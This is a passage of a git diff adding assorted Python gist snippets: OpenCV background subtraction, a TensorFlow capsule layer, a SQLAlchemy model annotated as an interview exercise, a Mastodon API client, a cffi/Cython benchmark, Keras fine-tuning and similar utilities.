+		# apply the background averaging formula:
+		# NEW_BACKGROUND = CURRENT_FRAME * ALPHA + OLD_BACKGROUND * (1 - APLHA)
+		self.backGroundModel =  frame * self.alpha + self.backGroundModel * (1 - self.alpha)
+
+		# after the previous operation, the dtype of
+		# self.backGroundModel will be changed to a float type
+		# therefore we do not pass it to cv2.absdiff directly,
+		# instead we acquire a copy of it in the uint8 dtype
+		# and pass that to absdiff.
+
+		return cv2.absdiff(self.backGroundModel.astype(np.uint8),frame)
+
+cam = cv2.VideoCapture(0)
+
+# Just a simple function to perform
+# some filtering before any further processing.
+def denoise(frame):
+    frame = cv2.medianBlur(frame,5)
+    frame = cv2.GaussianBlur(frame,(5,5),0)
+    
+    return frame
+
+ret,frame = cam.read()
+if ret is True:
+	backSubtractor = BackGroundSubtractor(0.01,denoise(frame))
+	run = True
+else:
+	run = False
+
+while(run):
+	# Read a frame from the camera
+	ret,frame = cam.read()
+
+	# If the frame was properly read.
+	if ret is True:
+		# Show the filtered image
+		cv2.imshow('input',denoise(frame))
+
+		# get the foreground
+		foreGround = backSubtractor.getForeground(denoise(frame))
+
+		# Apply thresholding on the background and display the resulting mask
+		ret, mask = cv2.threshold(foreGround, 15, 255, cv2.THRESH_BINARY)
+
+		# Note: The mask is displayed as a RGB image, you can
+		# display a grayscale image by converting 'foreGround' to
+		# a grayscale before applying the threshold.
+		cv2.imshow('mask',mask)
+
+		key = cv2.waitKey(10) & 0xFF
+	else:
+		break
+
+	if key == 27:
+		break
+
+cam.release()
+cv2.destroyAllWindows()
\ No newline at end of file
diff --git a/hard-gists/7c87c10921f0ed0c4f7641b4e14f2071/._snippet.py b/hard-gists/7c87c10921f0ed0c4f7641b4e14f2071/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7c87c10921f0ed0c4f7641b4e14f2071/._snippet.py differ
diff --git a/hard-gists/7c87c10921f0ed0c4f7641b4e14f2071/snippet.py b/hard-gists/7c87c10921f0ed0c4f7641b4e14f2071/snippet.py
new file mode 100644
index 00000000..112362b7
--- /dev/null
+++ b/hard-gists/7c87c10921f0ed0c4f7641b4e14f2071/snippet.py
@@ -0,0 +1,150 @@
+# It only has two dependencies numpy and tensorflow
+import numpy as np
+import tensorflow as tf
+
+from config import cfg
+
+
+# Class defining a Convolutional Capsule
+# consisting of multiple neuron layers
+#
+class CapsConv(object):
+    ''' Capsule layer.
+    Args:
+        input: A 4-D tensor.
+        num_units: integer, the length of the output vector of a capsule.
+        with_routing: boolean, this capsule is routing with the
+                      lower-level layer capsule.
+        num_outputs: the number of capsule in this layer.
+
+    Returns:
+        A 4-D tensor.
+    '''
+    def __init__(self, num_units, with_routing=True):
+        self.num_units = num_units
+        self.with_routing = with_routing
+
+    def __call__(self, input, num_outputs, kernel_size=None, stride=None):
+        self.num_outputs = num_outputs
+        self.kernel_size = kernel_size
+        self.stride = stride
+
+        if not self.with_routing:
+            # the PrimaryCaps layer
+            # input: [batch_size, 20, 20, 256]
+            assert input.get_shape() == [cfg.batch_size, 20, 20, 256]
+
+            capsules = []
+            for i in range(self.num_units):
+                # each capsule i: [batch_size, 6, 6, 32]
+                with tf.variable_scope('ConvUnit_' + str(i)):
+                    caps_i = tf.contrib.layers.conv2d(input,
+                                                      self.num_outputs,
+                                                      self.kernel_size,
+                                                      self.stride,
+                                                      padding="VALID")
+                    caps_i = tf.reshape(caps_i, shape=(cfg.batch_size, -1, 1, 1))
+                    capsules.append(caps_i)
+
+            assert capsules[0].get_shape() == [cfg.batch_size, 1152, 1, 1]
+
+            # [batch_size, 1152, 8, 1]
+            capsules = tf.concat(capsules, axis=2)
+            capsules = squash(capsules)
+            assert capsules.get_shape() == [cfg.batch_size, 1152, 8, 1]
+
+        else:
+            # the DigitCaps layer
+            # Reshape the input into shape [batch_size, 1152, 8, 1]
+            self.input = tf.reshape(input, shape=(cfg.batch_size, 1152, 8, 1))
+
+            # b_IJ: [1, num_caps_l, num_caps_l_plus_1, 1]
+            b_IJ = tf.zeros(shape=[1, 1152, 10, 1], dtype=np.float32)
+            capsules = []
+            for j in range(self.num_outputs):
+                with tf.variable_scope('caps_' + str(j)):
+                    caps_j, b_IJ = capsule(input, b_IJ, j)
+                    capsules.append(caps_j)
+
+            # Return a tensor with shape [batch_size, 10, 16, 1]
+            capsules = tf.concat(capsules, axis=1)
+            assert capsules.get_shape() == [cfg.batch_size, 10, 16, 1]
+
+        return(capsules)
+
+
+def capsule(input, b_IJ, idx_j):
+    ''' The routing algorithm for one capsule in the layer l+1.
+
+    Args:
+        input: A Tensor with [batch_size, num_caps_l=1152, length(u_i)=8, 1]
+               shape, num_caps_l meaning the number of capsule in the layer l.
+    Returns:
+        A Tensor of shape [batch_size, 1, length(v_j)=16, 1] representing the
+        vector output `v_j` of capsule j in the layer l+1
+    Notes:
+        u_i represents the vector output of capsule i in the layer l, and
+        v_j the vector output of capsule j in the layer l+1.
+     '''
+
+    with tf.variable_scope('routing'):
+        w_initializer = np.random.normal(size=[1, 1152, 8, 16], scale=0.01)
+        W_Ij = tf.Variable(w_initializer, dtype=tf.float32)
+        # repeat W_Ij with batch_size times to shape [batch_size, 1152, 8, 16]
+        W_Ij = tf.tile(W_Ij, [cfg.batch_size, 1, 1, 1])
+
+        # calc u_hat
+        # [8, 16].T x [8, 1] => [16, 1] => [batch_size, 1152, 16, 1]
+        u_hat = tf.matmul(W_Ij, input, transpose_a=True)
+        assert u_hat.get_shape() == [cfg.batch_size, 1152, 16, 1]
+
+        shape = b_IJ.get_shape().as_list()
+        size_splits = [idx_j, 1, shape[2] - idx_j - 1]
+        for r_iter in range(cfg.iter_routing):
+            # line 4:
+            # [1, 1152, 10, 1]
+            c_IJ = tf.nn.softmax(b_IJ, dim=2)
+            assert c_IJ.get_shape() == [1, 1152, 10, 1]
+
+            # line 5:
+            # weighting u_hat with c_I in the third dim,
+            # then sum in the second dim, resulting in [batch_size, 1, 16, 1]
+            b_Il, b_Ij, b_Ir = tf.split(b_IJ, size_splits, axis=2)
+            c_Il, c_Ij, b_Ir = tf.split(c_IJ, size_splits, axis=2)
+            assert c_Ij.get_shape() == [1, 1152, 1, 1]
+
+            s_j = tf.multiply(c_Ij, u_hat)
+            s_j = tf.reduce_sum(tf.multiply(c_Ij, u_hat),
+                                axis=1, keep_dims=True)
+            assert s_j.get_shape() == [cfg.batch_size, 1, 16, 1]
+
+            # line 6:
+            # squash using Eq.1, resulting in [batch_size, 1, 16, 1]
+            v_j = squash(s_j)
+            assert s_j.get_shape() == [cfg.batch_size, 1, 16, 1]
+
+            # line 7:
+            # tile v_j from [batch_size ,1, 16, 1] to [batch_size, 1152, 16, 1]
+            # [16, 1].T x [16, 1] => [1, 1], then reduce mean in the
+            # batch_size dim, resulting in [1, 1152, 1, 1]
+            v_j_tiled = tf.tile(v_j, [1, 1152, 1, 1])
+            u_produce_v = tf.matmul(u_hat, v_j_tiled, transpose_a=True)
+            assert u_produce_v.get_shape() == [cfg.batch_size, 1152, 1, 1]
+            b_Ij += tf.reduce_sum(u_produce_v, axis=0, keep_dims=True)
+            b_IJ = tf.concat([b_Il, b_Ij, b_Ir], axis=2)
+
+        return(v_j, b_IJ)
+
+
+def squash(vector):
+    '''Squashing function.
+    Args:
+        vector: A 4-D tensor with shape [batch_size, num_caps, vec_len, 1],
+    Returns:
+        A 4-D tensor with the same shape as vector but
+        squashed in 3rd and 4th dimensions.
+    '''
+    vec_abs = tf.sqrt(tf.reduce_sum(tf.square(vector)))  # a scalar
+    scalar_factor = tf.square(vec_abs) / (1 + tf.square(vec_abs))
+    vec_squashed = scalar_factor * tf.divide(vector, vec_abs)  # element-wise
+    return(vec_squashed)
\ No newline at end of file
diff --git a/hard-gists/7ccd43b1f2f79f1bb23c70920f75cec4/._snippet.py b/hard-gists/7ccd43b1f2f79f1bb23c70920f75cec4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7ccd43b1f2f79f1bb23c70920f75cec4/._snippet.py differ
diff --git a/hard-gists/7ccd43b1f2f79f1bb23c70920f75cec4/snippet.py b/hard-gists/7ccd43b1f2f79f1bb23c70920f75cec4/snippet.py
new file mode 100644
index 00000000..ad4d77ca
--- /dev/null
+++ b/hard-gists/7ccd43b1f2f79f1bb23c70920f75cec4/snippet.py
@@ -0,0 +1,178 @@
+import uuid
+import random
+
+from afase.models.meta import Base
+
+from sqlalchemy import (
+    Column,
+    Text,
+    Date,
+    ForeignKey,
+    String,
+)
+from sqlalchemy.types import (
+    TypeDecorator,
+    CHAR,
+)
+from sqlalchemy.dialects.postgresql import UUID
+from sqlalchemy.orm import (
+        relationship,
+        validates,
+)
+# Trap, not really part of the code. Make them explain what it does anyhow.
+class GUID(TypeDecorator):
+    """Platform-independent GUID type.
+
+    Uses PostgreSQL's UUID type, otherwise uses
+    CHAR(32), storing as stringified hex values.
+
+    """
+    impl = CHAR
+    
+    # Based on how this class is used below, have them explain why the functions are named as they are.
+    def load_dialect_impl(self, dialect):
+        if dialect.name == 'postgresql':
+            return dialect.type_descriptor(UUID())
+        else:
+            return dialect.type_descriptor(CHAR(32))
+
+    def process_bind_param(self, value, dialect):
+        if value is None:
+            return value
+        elif dialect.name == 'postgresql':
+            return str(value)
+        else:
+            if not isinstance(value, uuid.UUID):
+                return "%.32x" % uuid.UUID(value).int
+            else:
+                # hexstring
+                return "%.32x" % value.int
+
+    def process_result_value(self, value, dialect):
+        if value is None:
+            return value
+        else:
+            return uuid.UUID(value)
+          
+# Trap, they'll skip this, point out that they missed something when they get to "create" function
+ALPHABET = '0123456789abcdefghjkmnpqrtvwxyz'
+ALPHA_SET = set(ALPHABET)
+HEXIES = set('abcdef0123456789')
+
+# Trap, this function should not be part of the data model, it should be internal. See if they catch on it.
+def gen_word(count):
+    # Bug, shouldn't re-initialize RNG everytime we need it
+    r = random.SystemRandom()
+    word = ''.join(r.choice(ALPHABET) for x in range(count))
+    return word.capitalize()
+
+
+class Token(Base):
+    __tablename__ = 'token'
+    id = Column(GUID, primary_key=True)
+    link = Column(Text, nullable=False)
+    token = Column(String(length=16), nullable=False, unique=True)
+    device = relationship('Device')
+    cabinet = relationship('Cabinet')
+
+    # Unnecessary, see if they catch why this have an init when the other classes don't. 
+    def __init__(self, id, token, link):
+        self.id = id
+        self.token = token
+        self.link = link
+
+    # Simple, let them explain this
+    @validates('token')
+    def validate_token(self, key, token):
+        letters = set(token)
+        if not ALPHA_SET.issuperset(letters):
+            raise ValueError("Non permitted letter in token")
+        return token
+
+    # Incomplete, ask them to add more validations
+    @validates('link')
+    def validate_link(self, key, link):
+        if not link.startswith('https://'):
+            raise ValueError("Non https link")
+
+        if link[-1] in ('/', '?'):
+            raise ValueError("Link ends in invalid char")
+
+        if link.count("/") != 3:
+            raise ValueError("Should have 3 and only 3 slashes in link")
+
+        return link
+
+    def __repr__(self):
+        return "<Token(id='{}, token='{}', link='{}')>".format(self.id, self.token, self.link)
+
+    # Make them explain why this code exists. Describe how it will be used.
+    # All code exists for a reason, sometimes that reason is that a programmer was drunk.
+    @classmethod
+    def normalize(cls, token):
+        replacements = [('o', '0'),
+                        ('l', '1'),('i','1'),
+                        ('s', '5'), 
+                        ('u', 'v'),
+                        ('-',''),('_',''), (' ', '')]
+        word  = token.lower()
+        for old, new in replacements:
+            word = word.replace(old, new)
+        return word
+
+    @classmethod
+    def create(cls):
+        id = uuid.uuid4()
+        # Below line is tricky, make them explain what it does.
+        base = '-'.join(map(gen_word, [4] * 4))
+        link = "https://example.com/{}".format(base)
+        token = cls.normalize(base)
+        # Note the bug below, ask about subclass of this model.
+        return Token(id=id, link=link, token=token)
+
+      
+class Site(Base):
+    __tablename__ = 'site'
+    id = Column(GUID, primary_key=True)
+    name = Column(Text, nullable=False)
+    customer = Column(Text, nullable=False)
+    contact = Column(Text, nullable=True)
+    devices = relationship("Device")
+    cabinets = relationship("Cabinet")
+    # Leave TODO comments in, ask them to improve.
+    
+    # TODO: Location(GPS)
+    # TODO: More contact fields?
+
+
+class Cabinet(Base):
+    __tablename__ = 'cabinet'
+    id = Column(GUID, primary_key=True)
+    serial = Column(Text, nullable=False)
+    revision = Column(Text, nullable=False)
+
+    token = Column(GUID, ForeignKey('token.id'))
+    site  = Column(GUID, ForeignKey('site.id'))
+
+
+class Device(Base):
+    __tablename__ = 'device'
+    id = Column(GUID, primary_key=True)
+
+    boxid = Column(String(length=12), nullable=False)
+    kind = Column(Text, nullable=False)
+
+    token = Column(GUID, ForeignKey('token.id'))
+
+    site = Column(GUID, ForeignKey('site.id'), nullable=True)
+    deploy_date = Column(Date, nullable=True)
+    retire_date = Column(Date, nullable=True)
+
+    @validates('boxid')
+    def validate_token(self, key, boxid):
+        if not HEXIES.issuperset(set(boxid)):
+            raise ValueError("Non hex letter in boxid")
+        if not len(boxid) == 12:
+            raise ValueError("Box ID should be 12 long, no more, no less")
+        return boxid
+
diff --git a/hard-gists/7cd166e311992a828675/._snippet.py b/hard-gists/7cd166e311992a828675/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7cd166e311992a828675/._snippet.py differ
diff --git a/hard-gists/7cd166e311992a828675/snippet.py b/hard-gists/7cd166e311992a828675/snippet.py
new file mode 100644
index 00000000..5e92c2f9
--- /dev/null
+++ b/hard-gists/7cd166e311992a828675/snippet.py
@@ -0,0 +1,33 @@
+# Combine multiple images into one.
+#
+# To install the Pillow module on Mac OS X:
+#
+# $ xcode-select --install
+# $ brew install libtiff libjpeg webp little-cms2
+# $ pip install Pillow
+#
+
+from __future__ import print_function
+import os
+
+from PIL import Image
+
+files = [
+  '~/Downloads/1.jpg',
+  '~/Downloads/2.jpg',
+  '~/Downloads/3.jpg',
+  '~/Downloads/4.jpg']
+
+result = Image.new("RGB", (800, 800))
+
+for index, file in enumerate(files):
+  path = os.path.expanduser(file)
+  img = Image.open(path)
+  img.thumbnail((400, 400), Image.ANTIALIAS)
+  x = index // 2 * 400
+  y = index % 2 * 400
+  w, h = img.size
+  print('pos {0},{1} size {2},{3}'.format(x, y, w, h))
+  result.paste(img, (x, y, x + w, y + h))
+
+result.save(os.path.expanduser('~/image.jpg'))
diff --git a/hard-gists/7ceb3e7ef239e282a9d2/._snippet.py b/hard-gists/7ceb3e7ef239e282a9d2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7ceb3e7ef239e282a9d2/._snippet.py differ
diff --git a/hard-gists/7ceb3e7ef239e282a9d2/snippet.py b/hard-gists/7ceb3e7ef239e282a9d2/snippet.py
new file mode 100644
index 00000000..f76ac4da
--- /dev/null
+++ b/hard-gists/7ceb3e7ef239e282a9d2/snippet.py
@@ -0,0 +1,37 @@
+#!/usr/bin/env python
+from __future__ import print_function
+
+from datetime import datetime
+from subprocess import call
+
+
+from mercury206 import commands, communications, config
+
+
+def update_rrd(path, values):
+    value = ':'.join(['N'] + map(str, values))
+    call(['rrdtool', 'update', path, value])
+    print("Updated", path)
+
+
+def add_readings(port, address):
+    readings = commands.display_readings(port, address)
+    update_rrd('tariffs.rrd', readings[:2])
+
+
+def add_vcp(port, address):
+    voltage, current, power = commands.instant_vcp(port, address)
+    update_rrd('pcv.rrd', [power, current, voltage])
+
+
+def main():
+    settings = config.get_settings()
+    port = communications.open_serial(settings['device'])
+    now = datetime.now()
+    if now.minute % 5 == 0:
+        add_readings(port, settings['address'])
+    add_vcp(port, settings['address'])
+
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/7dc87b8d1dc16b025e7019113cc2de93/._snippet.py b/hard-gists/7dc87b8d1dc16b025e7019113cc2de93/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7dc87b8d1dc16b025e7019113cc2de93/._snippet.py differ
diff --git a/hard-gists/7dc87b8d1dc16b025e7019113cc2de93/snippet.py b/hard-gists/7dc87b8d1dc16b025e7019113cc2de93/snippet.py
new file mode 100644
index 00000000..7b86d128
--- /dev/null
+++ b/hard-gists/7dc87b8d1dc16b025e7019113cc2de93/snippet.py
@@ -0,0 +1,73 @@
+# -*- coding: utf-8 -*-
+from urllib.parse import urlunsplit
+
+import requests
+from oauthlib.oauth2 import LegacyApplicationClient
+from requests_oauthlib import OAuth2Session
+
+
+def register_app(client_name, host, redirect_uris='urn:ietf:wg:oauth:2.0:oob',
+                 scopes='read write follow'):
+    """Register application
+
+    Usage:
+
+        >>> d = register_app('myapp', host='pawoo.net')
+        >>> d
+        {'id': 1234, 'redirect_uri': 'urn:ietf:wg:oauth:2.0:oob', 'client_id': '...', 'client_secret': '...'}
+
+    """
+    data = {
+        'client_name': client_name,
+        'redirect_uris': redirect_uris,
+        'scopes': scopes,
+    }
+    resp = requests.post("https://{host}/api/v1/apps".format(host=host), data=data)
+    resp.raise_for_status()
+    return resp.json()
+
+
+def fetch_token(client_id, client_secret, email, password, host, scope=('read', 'write', 'follow')):
+    token_url = "https://{host}/oauth/token".format(host=host)
+    client = LegacyApplicationClient(client_id=client_id)
+    oauth = OAuth2Session(client=client)
+    token = oauth.fetch_token(token_url=token_url, username=email, password=password,
+                              client_id=client_id, client_secret=client_secret, scope=scope)
+    return token
+
+
+class Mstdn:
+    """Mastodon API
+
+    Usage:
+
+        >>> token = fetch_token(...)
+        >>> mstdn = Mstdn(token)
+        >>> mstdn.toot("テスト")
+
+    """
+    def __init__(self, token, scheme='https', host='pawoo.net'):
+        self.scheme = scheme
+        self.host = host
+        self.session = requests.Session()
+        self.session.headers.update({'Authorization': 'Bearer ' + token['access_token']})
+
+    def _build_url(self, path):
+        return urlunsplit([self.scheme, self.host, path, '', ''])
+
+    def _request(self, method, url, data=None, params=None):
+        kwargs = {
+            'data': data or {},
+            'params': params or {}
+        }
+        resp = self.session.request(method, url, **kwargs)
+        resp.raise_for_status()
+        return resp
+
+    def home_timeline(self):
+        url = self._build_url('/api/v1/timelines/home')
+        return self._request('get', url)
+
+    def toot(self, status):
+        url = self._build_url('/api/v1/statuses')
+        return self._request('post', url, data={'status': status})
\ No newline at end of file
diff --git a/hard-gists/7e173302952b210aeaf3/._snippet.py b/hard-gists/7e173302952b210aeaf3/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7e173302952b210aeaf3/._snippet.py differ
diff --git a/hard-gists/7e173302952b210aeaf3/snippet.py b/hard-gists/7e173302952b210aeaf3/snippet.py
new file mode 100644
index 00000000..cc957fec
--- /dev/null
+++ b/hard-gists/7e173302952b210aeaf3/snippet.py
@@ -0,0 +1,109 @@
+"""
+Compare speed of a cython wrapper vs a cffi wrapper to the same underlying
+C-code with a fast function and a longer-running function.
+
+This should run anywhere that has cffi and cython installed.
+
+Ouput on my machine with python2.7:
+
+
+brentp@liefless:/tmp$ python compare-wrappers.py
+times for 1 million calls
+
+adding 2 numbers with cffi wrapper:
+0.147660017014
+adding 2 numbers with cython wrapper:
+0.0891411304474
+summing numbers between 1 and 2000 with cffi wrapper:
+1.6725051403
+summing numbers between 1 and 2000 with cython wrapper:
+1.54648685455
+
+
+So Cython is twice as fast for a C-function that returns pretty much instantly.
+That difference is nullified (so to speak) when the C function takes more time to run.
+
+Time with pypy:
+
+times for 1 million calls
+adding 2 numbers with cffi wrapper:
+0.0336790084839
+summing numbers between 1 and 2000 with cffi wrapper:
+1.42473888397
+"""
+
+
+from timeit import timeit
+import cffi
+import re
+import os.path as op
+import sys
+
+PYPY = "pypy_version_info" in dir(sys)
+
+
+ffi = cffi.FFI()
+ffi.cdef("""
+int sum(int, int);
+long sum_between(int, int);
+""")
+
+
+
+# here is the C code that we are wrapping. One quick running function and
+# another potentially long-running function.
+code = """
+int sum(int a, int b){
+    return a + b;
+}
+
+long sum_between(int a, int b){
+   long sum = 0;    
+   int i;
+   for(i=a; i<=b; i++) sum += i;
+   return sum;
+}
+"""
+C = ffi.verify(code)
+
+if not PYPY:
+
+    import pyximport; pyximport.install()
+    with open('ccy.h', 'w') as fh:
+        fh.write(code)
+
+    # for cython, we also need to write the python callable wrappers.
+    cycode = """
+cdef extern from "%s/ccy.h":
+    int sum(int a, int b)
+    long sum_between(int a, int b)
+
+cpdef int pysum(int a, int b):
+    return sum(a, b)
+
+cpdef long pysum_between(int a, int b):
+    return sum_between(a, b)
+    """ % op.abspath(".")
+
+    with open('ccy.pyx', 'w') as fh:
+        fh.write(cycode)
+
+
+    import ccy
+
+
+
+print "times for 1 million calls"
+print "adding 2 numbers with cffi wrapper:"
+print timeit("C.sum(55, 55)", setup="from __main__ import C", number=int(1e6))
+
+if not PYPY:
+    print "adding 2 numbers with cython wrapper:"
+    print timeit("ccy.pysum(55, 55)", setup="from __main__ import ccy")
+
+print "summing numbers between 1 and 2000 with cffi wrapper:"
+print timeit("C.sum_between(1, 2000)", setup="from __main__ import C")
+
+if not PYPY:
+    print "summing numbers between 1 and 2000 with cython wrapper:"
+    print timeit("ccy.pysum_between(1, 2000)", setup="from __main__ import ccy")
\ No newline at end of file
diff --git a/hard-gists/7e3d537b94c30c782d1b50b712ea79a6/._snippet.py b/hard-gists/7e3d537b94c30c782d1b50b712ea79a6/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7e3d537b94c30c782d1b50b712ea79a6/._snippet.py differ
diff --git a/hard-gists/7e3d537b94c30c782d1b50b712ea79a6/snippet.py b/hard-gists/7e3d537b94c30c782d1b50b712ea79a6/snippet.py
new file mode 100644
index 00000000..38fca921
--- /dev/null
+++ b/hard-gists/7e3d537b94c30c782d1b50b712ea79a6/snippet.py
@@ -0,0 +1,77 @@
+import pandas as pd
+import numpy as np
+import instrumentdb as idb
+import math
+import pickle
+
+def good_entries(ohlcv, min_days = 3, days_out = 15, vola_len = 35, days_pos = 0.6, stop_loss = 1.5):
+    if days_out <= min_days:
+        raise RuntimeError('days_out must be greater than min_days.')
+
+    hi = ohlcv['high']
+    lo = ohlcv['low']
+    cl = ohlcv['close']
+
+    # Compute returns
+    rets = cl.pct_change()
+    erets = rets.pow(2).ewm(span=vola_len).mean().pow(1/2)
+    # erets = rets.ewm(span=vola_len).mean()
+
+    res = np.zeros(len(erets))
+    days = np.zeros(len(erets))
+
+    for ii in range(min_days, days_out):
+        hh = hi.rolling(window = ii).max().shift(-ii)
+        ll = lo.rolling(window = ii).min().shift(-ii)
+        hi_ratio = (hh/cl - 1)/erets
+        lo_ratio = (ll/cl - 1)/erets
+
+        dd = math.ceil(days_pos * ii)
+
+        longs = (hi_ratio > dd) & (-lo_ratio < stop_loss)
+        longs = np.where(longs.notnull() & (longs != 0), 1, 0)
+
+        shorts = (-lo_ratio > dd) & (hi_ratio < stop_loss)
+        shorts = np.where(shorts.notnull() & (shorts != 0), -1, 0)
+
+        both = np.where(longs == 1, 1, shorts)
+        new_days = ii*((res == 0) & (both != 0)).astype(int)
+        res = np.where(res != 0, res, both)
+        days = np.where(days != 0, days, new_days)
+
+    full_df = pd.DataFrame({'entry' : res, 'days' : days, 'erets' : erets}, index = ohlcv.index)
+    oppo_df = full_df[full_df['entry'] != 0]
+
+    return {'full' : full_df, 'oppo' : oppo_df}
+
+def build_features(ohlcv, days=[1,2,3,4,5], vola_len=35):
+    cl = ohlcv['close']
+    rets = cl.pct_change()
+    erets = rets.pow(2).ewm(span=vola_len).mean().pow(1/2)
+    ares = rets / erets
+    res = ares.shift(days[0] - 1)
+    col_names = [str(days[0]) + "D_LAG"]
+    for dd in days[1:]:
+        res = pd.concat([res, ares.shift(dd - 1)], axis=1)
+        col_names.append(str(dd) + "D_LAG")
+
+    # Annual, quarterly, monthly and weekly:
+    #   1. returns (normalized to daily)
+    #   2. min/max channel position
+    for nn in [252, 63, 21, 5]:
+        # Compute the return
+        rr = cl.pct_change(nn)
+        # Normalize to daily return
+        rr = ((rr/100 + 1).pow(1/nn) - 1)*100
+        # Normalize by volatility
+        rr = rr / erets
+        res = pd.concat([res, rr], axis=1)
+        col_names.append(str(nn) + "D_RET")
+        rr = (cl - cl.rolling(window=nn).min())/(cl.rolling(window=nn).max() - cl.rolling(window=nn).min())
+        res = pd.concat([res, rr], axis=1)
+        col_names.append(str(nn) + "D_CHANNEL")
+
+    res.columns = col_names
+    res = res.dropna(axis=0)
+
+    return res
\ No newline at end of file
diff --git a/hard-gists/7e9499ba7e436535fd94/._snippet.py b/hard-gists/7e9499ba7e436535fd94/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7e9499ba7e436535fd94/._snippet.py differ
diff --git a/hard-gists/7e9499ba7e436535fd94/snippet.py b/hard-gists/7e9499ba7e436535fd94/snippet.py
new file mode 100644
index 00000000..748f9954
--- /dev/null
+++ b/hard-gists/7e9499ba7e436535fd94/snippet.py
@@ -0,0 +1,19 @@
+from django.db import transaction
+
+class AtomicMixin(object):
+    """
+    Ensures we rollback db transactions on exceptions.
+    Idea from https://github.com/tomchristie/django-rest-framework/pull/1204
+    """
+    @transaction.atomic()
+    def dispatch(self, *args, **kwargs):
+        return super(AtomicMixin, self).dispatch(*args, **kwargs)
+
+    def handle_exception(self, *args, **kwargs):
+        response = super(AtomicMixin, self).handle_exception(*args, **kwargs)
+
+        if getattr(response, 'exception'):
+            # We've suppressed the exception but still need to rollback any transaction.
+            transaction.set_rollback(True)
+
+        return response
\ No newline at end of file
diff --git a/hard-gists/7eb39b44eb9e16e59632d25fb3119975/._snippet.py b/hard-gists/7eb39b44eb9e16e59632d25fb3119975/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7eb39b44eb9e16e59632d25fb3119975/._snippet.py differ
diff --git a/hard-gists/7eb39b44eb9e16e59632d25fb3119975/snippet.py b/hard-gists/7eb39b44eb9e16e59632d25fb3119975/snippet.py
new file mode 100644
index 00000000..2e37ad74
--- /dev/null
+++ b/hard-gists/7eb39b44eb9e16e59632d25fb3119975/snippet.py
@@ -0,0 +1,115 @@
+'''This script goes along the blog post
+"Building powerful image classification models using very little data"
+from blog.keras.io.
+It uses data that can be downloaded at:
+https://www.kaggle.com/c/dogs-vs-cats/data
+In our setup, we:
+- created a data/ folder
+- created train/ and validation/ subfolders inside data/
+- created cats/ and dogs/ subfolders inside train/ and validation/
+- put the cat pictures index 0-999 in data/train/cats
+- put the cat pictures index 1000-1400 in data/validation/cats
+- put the dogs pictures index 12500-13499 in data/train/dogs
+- put the dog pictures index 13500-13900 in data/validation/dogs
+So that we have 1000 training examples for each class, and 400 validation examples for each class.
+In summary, this is our directory structure:
+```
+data/
+    train/
+        dogs/
+            dog001.jpg
+            dog002.jpg
+            ...
+        cats/
+            cat001.jpg
+            cat002.jpg
+            ...
+    validation/
+        dogs/
+            dog001.jpg
+            dog002.jpg
+            ...
+        cats/
+            cat001.jpg
+            cat002.jpg
+            ...
+```
+'''
+
+from keras import applications
+from keras.preprocessing.image import ImageDataGenerator
+from keras import optimizers
+from keras.models import Sequential
+from keras.layers import Dropout, Flatten, Dense
+
+# path to the model weights files.
+weights_path = '../keras/examples/vgg16_weights.h5'
+top_model_weights_path = 'fc_model.h5'
+# dimensions of our images.
+img_width, img_height = 150, 150
+
+train_data_dir = 'cats_and_dogs_small/train'
+validation_data_dir = 'cats_and_dogs_small/validation'
+nb_train_samples = 2000
+nb_validation_samples = 800
+epochs = 50
+batch_size = 16
+
+# build the VGG16 network
+model = applications.VGG16(weights='imagenet', include_top=False)
+print('Model loaded.')
+
+# build a classifier model to put on top of the convolutional model
+top_model = Sequential()
+top_model.add(Flatten(input_shape=model.output_shape[1:]))
+top_model.add(Dense(256, activation='relu'))
+top_model.add(Dropout(0.5))
+top_model.add(Dense(1, activation='sigmoid'))
+
+# note that it is necessary to start with a fully-trained
+# classifier, including the top classifier,
+# in order to successfully do fine-tuning
+top_model.load_weights(top_model_weights_path)
+
+# add the model on top of the convolutional base
+model.add(top_model)
+
+# set the first 25 layers (up to the last conv block)
+# to non-trainable (weights will not be updated)
+for layer in model.layers[:25]:
+    layer.trainable = False
+
+# compile the model with a SGD/momentum optimizer
+# and a very slow learning rate.
+model.compile(loss='binary_crossentropy',
+              optimizer=optimizers.SGD(lr=1e-4, momentum=0.9),
+              metrics=['accuracy'])
+
+# prepare data augmentation configuration
+train_datagen = ImageDataGenerator(
+    rescale=1. / 255,
+    shear_range=0.2,
+    zoom_range=0.2,
+    horizontal_flip=True)
+
+test_datagen = ImageDataGenerator(rescale=1. / 255)
+
+train_generator = train_datagen.flow_from_directory(
+    train_data_dir,
+    target_size=(img_height, img_width),
+    batch_size=batch_size,
+    class_mode='binary')
+
+validation_generator = test_datagen.flow_from_directory(
+    validation_data_dir,
+    target_size=(img_height, img_width),
+    batch_size=batch_size,
+    class_mode='binary')
+
+# fine-tune the model
+model.fit_generator(
+    train_generator,
+    samples_per_epoch=nb_train_samples,
+    epochs=epochs,
+    validation_data=validation_generator,
+    nb_val_samples=nb_validation_samples)
diff --git a/hard-gists/7ec5bf797308279dc587/._snippet.py b/hard-gists/7ec5bf797308279dc587/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7ec5bf797308279dc587/._snippet.py differ
diff --git a/hard-gists/7ec5bf797308279dc587/snippet.py b/hard-gists/7ec5bf797308279dc587/snippet.py
new file mode 100644
index 00000000..b93d53aa
--- /dev/null
+++ b/hard-gists/7ec5bf797308279dc587/snippet.py
@@ -0,0 +1,124 @@
+"""
+Vanilla Char-RNN using TensorFlow by Vinh Khuc (@knvinh).
+Adapted from Karpathy's min-char-rnn.py
+https://gist.github.com/karpathy/d4dee566867f8291f086
+Requires tensorflow>=1.0
+BSD License
+"""
+import random
+import numpy as np
+import tensorflow as tf
+
+seed_value = 42
